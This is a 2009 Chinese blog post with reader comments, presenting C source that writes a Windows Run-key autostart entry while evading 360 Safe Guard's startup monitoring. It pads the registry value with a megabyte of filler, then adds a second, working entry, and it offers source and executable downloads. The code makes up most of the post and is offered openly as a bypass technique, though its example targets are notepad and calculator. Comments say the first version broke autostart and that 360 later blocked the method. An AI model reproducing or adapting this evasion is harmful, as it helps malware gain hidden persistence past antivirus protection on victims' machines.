« IE卫士正式版 规划向Windows7移植驱动 »

绕过360安全卫士写自启动项 能自启动

360安全卫士是通过轮询比较当前自启动项与先前保存的自启动项的差别来检测自启动项的增加的,一段的方法绕过它可能不是那么容易。

下面贴段代码,可以绕过360安全卫士写自启动项。

源程序:

#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
 HKEY hKey;
 char *Path,*Path2="c:\\windows\\notepad.exe   --";
 LONG ret;

 ret=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
 if(ret)
 {
  printf("打开注册表项失败");
  return 0;
 }

 Path=new char[1024*1024];
 memset(Path,'p',1024*1024);
 memcpy(Path,Path2,strlen(Path2));

 ret=RegSetValueEx(hKey,"TEST",0,REG_SZ,(BYTE *)Path,strlen(Path));
 if(ret==0)
 {
  printf("写入成功");
 }
 else
 {
  printf("写入失败");
 }

 return 0;
}

 

有人说用上面的代码虽然过了360,但程序没自启动,我只想说我本来是提供一个思路的,算了,还是全爆吧,上帝原谅我....

int _tmain(int argc, _TCHAR* argv[])
{
 HKEY hKey;
 char *Path,*Path2="c:\\windows\\notepad.exe   --";
 LONG ret;

 ret=RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey);
 if(ret)
 {
  printf("打开注册表项失败");
  return 0;
 }

 Path=new char[1024*1024];
 memset(Path,'p',1024*1024);
 memcpy(Path,Path2,strlen(Path2));

 ret=RegSetValueEx(hKey,"TEST",0,REG_SZ,(BYTE *)Path,strlen(Path));
 if(ret==0)
 {
  printf("写入成功");
 }
 else
 {
  printf("写入失败");
 }

 strcpy(Path,"c:\\windows\\system32\\calc.exe");
 ret=RegSetValueEx(hKey,"TEST2",0,REG_SZ,(BYTE *)Path,strlen(Path));
 if(ret==0)
 {
  printf("写入成功");
 }
 else
 {
  printf("写入失败");
 }

 return 0;
}

 

源程序下载:WriteRunAnti360.rar

测试程序下载:WriteRunAnti360exe.rar

 

  • quote 1.hyp
  • new了以后要记得delete哦~~~
    langouster 于 2009-02-12 20:01:59 回复
    记住了,谢谢
  • 2009-2-12 14:25:26 回复该留言
  • quote 2.AAA
  • 不行,分配长度太长,虽然过了360,但是根本不能自动启动了
  • 2009-2-13 11:49:41 回复该留言
  • quote 3.AAA
  • 呵呵,这次明白了时间什么意思啦,牛
  • 2009-2-15 15:41:47 回复该留言
  • quote 5.PF
  • 的确很强,不过现在360又做了处理了。这个方法已经行不通了。
  • 2009-7-16 14:09:02 回复该留言

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

最近发表

Powered By Z-Blog 2.0 bate Build Theme by toboku

Copyright langouster. Some Rights Reserved.   苏ICP备06046736号